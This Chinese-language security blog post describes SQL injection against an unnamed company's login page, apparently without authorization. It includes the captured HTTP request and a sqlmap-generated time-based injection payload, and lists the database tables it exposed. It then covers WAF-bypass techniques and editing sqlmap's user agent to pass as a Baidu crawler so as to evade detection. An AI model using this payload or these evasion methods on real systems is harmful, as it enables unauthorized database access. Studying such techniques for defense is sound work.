SQL注入分享

  • A+
所属分类:安全文章

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时对用户输入数据的合法性没有判断,攻击者可以在web应用事先定义好的查询语句末尾添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查操作,从而进一步得到相应的数据信息。案例如下:

一天发现某通讯技术公司网站存在sql注入

漏洞urlhttp://xx.xx.xx.xx:8888/Web_sc/login.gn

首先,任意输入账号密码,使用burp进行抓包如下:

 

SQL注入分享

POST /GNRemote.dll?GNFunction=LoginServer&decorator=text_wrap&frombrowser=esl HTTP/1.1

Host: xx.xx.xx.xx:8888

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 108

Origin: http://xx.xx.xx.xx:8888

Connection: close

Referer: http://xx.xx.xx.xx:8888/Web_sc/login.gn

 

username=admin&password=6e8f717b8982f4ac&ClientStatus=1&cur_url=http://xx.xx.xx.xx:8888/Web_sc/login.gn#

 

然后使用sqlmap工具跑:

 

SQL注入分享


得到payload

username=admin' OR 6033=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- iQVk&password=6e8f717b8982f4ac&ClientStatus=1&cur_url=http://xx.xx.xx.xx:8888/Web_sc/login.gn

和库名:

domaingroup

log

log_alarm等等

以上为比较简单的情况,但现在很多web应用都会针对sql语句和符号等进行判断和过滤,并通过waf进行防御,现分享一些绕过判断,过滤和waf的简单思路以及方法。

1、Sql绕过:

 目前能找到的资料来看,防护和监测的手段有黑白名单过滤,特殊字符输入控制,在提交数据库进⾏ SQL 查询之前,对特殊字符进⾏过滤、转义、替换、删除等。绕过的方法有以下几种:大小写混合,替换关键字,使用编码,使用注释,等价函数与命令,特殊符号,HTTP参数控制,整合绕过等。我们要首先通过手工活工具测试确定wafweb应用的过滤,拦截判断方式,然后针对性的使用绕过方法进行绕过。

2、sqlmap绕过,sqlmap 是一个开源的渗透测试工具,可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。为了节省时间很多兄弟喜欢用Sqlmap来检测注入,但很多waf和web应用都针对sqlmap的数据包特征做了判断和过滤,我们可以通过修改Sqlmap数据包特征的方式来绕过。

现就已修改user_agent为例

我们可以用自带参数或源码来修改

参数修改:使用–user-anget参数修改,也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

源码修改:打开sql目录下的libcoreoption.py 中找到

DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)

更改为百度蜘蛛UA可以绕过一部分防护软件

DEFAULT_USER_AGENT ="User-Agent:Mozilla/5.0 (compatible; baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

 

SQL注入分享

本文始发于微信公众号(黑云信息安全):SQL注入分享

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: